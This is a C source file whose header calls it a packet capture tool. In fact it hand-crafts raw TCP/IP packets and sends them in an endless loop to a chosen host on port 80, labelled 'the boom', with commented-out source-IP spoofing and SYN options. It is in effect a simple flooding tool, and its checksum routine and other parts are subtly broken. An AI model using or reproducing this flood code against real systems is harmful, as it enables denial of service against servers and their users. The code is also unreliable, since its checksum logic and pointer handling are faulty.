send.c

抓取数据包

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <netdb.h>
#define DESTPORT 80
#define LOCALPORT 8888
#define LOCAL_IP "192.168.0.100"

void send_tcp(int sockfd,struct sockaddr_in * addr);
unsigned short check_sum(unsigned short * addr,int len);

int main(int argc,char **argv)
{
	int sockfd;
	struct sockaddr_in addr;
	struct hostent *host;
	int on=1;

	if(argc!=2)
	{
		fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
		exit(1);
	}

	bzero(&addr,sizeof(struct sockaddr_in));
	addr.sin_family=AF_INET;
	addr.sin_port=htons(DESTPORT);

	if(inet_aton(argv[1],&addr.sin_addr)==0)
	{
  		host=gethostbyname(argv[1]);
  		printf("\nNow I begin gethostbyname\n");
  		if(host==NULL)
  		{
   			fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
   			exit(1);
 		}
  		addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
	}
/**************************************************************/
	printf("NOW I begin to create sockfd");
	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
	//sockfd=socket(AF_INET,SOCK_STREAM,0);
	printf("\nCreate sockfd success:%d",sockfd);
	if(sockfd<0)
	{
	fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
	exit(1);
	}
	printf("/*NOW I WILL SEND THE BOOM*/");

/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/  
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));  
	setuid(getpid());  

	send_tcp(sockfd,&addr);

}
/********send the boom****************************************/
void send_tcp(int sockfd,struct sockaddr_in * addr)
{
	char buffer[100];
	struct ip *ip;
	struct tcphdr * tcp;
	int head_len;
	char string[]="123456";
	char *ptr,*p;
	int i=1;

	head_len=sizeof(struct ip) + sizeof(struct tcphdr) + sizeof(string);
	printf("head_len= %d",head_len);
	bzero(buffer,100);
	//printf("struct ip=%d\n",sizeof(struct ip));
	//printf("struct tcphdr=%d\n",sizeof(struct tcphdr));


	ip=(struct ip *)buffer;

	ip->ip_v=IPVERSION;
	//ip->ip_v=5;
	ip->ip_hl=sizeof(struct ip)>>2;
	ip->ip_tos=0;
	ip->ip_len=htons(head_len);
	ip->ip_id=0;//0表示不分片,1表示分片,分片的大小1518.
	ip->ip_off=0;
	ip->ip_ttl=MAXTTL;
	ip->ip_p=IPPROTO_TCP;
	ip->ip_sum=0;
	ip->ip_dst=addr->sin_addr;


	tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
	tcp->source=htons(LOCALPORT);
	tcp->dest=htons(DESTPORT);
	tcp->seq=random();
	//tcp->ack_seq=0;
	tcp->ack_seq=(tcp->seq)+1;
	tcp->doff=5;
	//tcp->hlen;
	//tcp->doff=0;
	//tcp->syn=1;
	tcp->syn=0;
	tcp->rst=0;
	tcp->window=1024;
	tcp->check=0x7f8a;
	tcp->ack=0;
	tcp->psh=0;
	tcp->fin=0;
	tcp->urg=0;

	//while(i<=5)
while(1)
	{	
		ip->ip_src.s_addr=inet_addr(LOCAL_IP);
		printf("\n the src ip address is:%s\n",inet_ntoa(ip->ip_src.s_addr));
		/*ip->ip_src.s_addr=random();*/
		//tcp->check=check_sum((unsigned short *)tcp,sizeof(struct tcphdr));
		printf("\n Sending the boom!\n");


		//ptr=(char *)(tcp+sizeof(struct tcphdr));
		ptr= (char *)((int)tcp + (int)(tcp->doff * 4));
		p=strcpy(ptr,string);
		printf(" the p is %s:\n",ptr);
		printf("----------------------\n");
		sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));
		//i++;
		printf("\n Send Over!\n");
	}
}

unsigned short check_sum(unsigned short *addr,int len)
{
	register int nleft=len;
	register int sum=0;
	register unsigned short *w=addr;
	short answer=0;

	while(nleft>1)
	{
		sum+=*w+1;
		nleft-=2;
	}
	if(nleft==1)
	{
		*(unsigned char *)(&answer)=*(unsigned char *)w;
		sum+=answer;
	}
	sum=(sum>>16)+(sum&0xffff);
	sum+=(sum>>16);
	answer=~sum;
	return(answer);
}